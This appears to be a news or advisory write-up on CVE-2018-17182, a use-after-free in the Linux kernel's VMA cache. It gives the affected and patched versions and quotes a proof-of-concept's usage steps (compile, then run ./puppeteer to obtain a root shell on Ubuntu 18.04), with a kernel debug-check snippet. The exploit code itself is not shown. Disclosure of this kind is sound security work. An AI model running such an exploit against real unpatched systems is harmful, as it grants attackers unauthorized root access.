Linux Kernel VMA-UAF Privilege Escalation Vulnerability (CVE-2018-17182)
Google Project Zero security researchers released details and a proof-of-concept (PoC) exploit for a high-severity vulnerability in the Linux kernel present since kernel versions 3.16 through 4.18.8.
Discovered by white-hat hacker Jann Horn, the kernel vulnerability (CVE-2018-17182) is a cache invalidation bug in the Linux memory management subsystem, leading to a use-after-free vulnerability.
If exploited, it could allow an attacker to gain root privileges on the target system.
Use-after-free (UAF) vulnerabilities are a class of memory corruption errors that can be exploited by unprivileged users to corrupt or modify data in memory, leading to denial of service (system crash) or privilege escalation to gain administrative access to the system.
The Linux kernel vulnerability was disclosed on the oss-security mailing list on September 18, and was patched the next day in the upstream supported stable kernel versions 4.18.9, 4.14.71, 4.9.128, and 4.4.157.
There is also a fix in version 3.16.58.
Attaching an ugly exploit for Ubuntu 18.04, kernel linux-image-4.15.0-34-generic at version 4.15.0-34.37.
It takes about (40min~1hour) to run before popping a root shell.
Usage: First compile with ./compile.sh, then run ./puppeteer. Example run:
user@ubuntu-18-04-vm:~/vmacache$
user@ubuntu-18-04-vm:~/vmacache$
user@ubuntu-18-04-vm:~/vmacache$ ./puppeteer

=============================================
The source code corresponding to the warning, which is triggered because
the VMA cache references a VMA struct that has been reallocated to
another process in the meantime:
#ifdef CONFIG_DEBUG_VM_VMACACHE
if (WARN_ON_ONCE(vma->vm_mm != mm))
break;
#endif
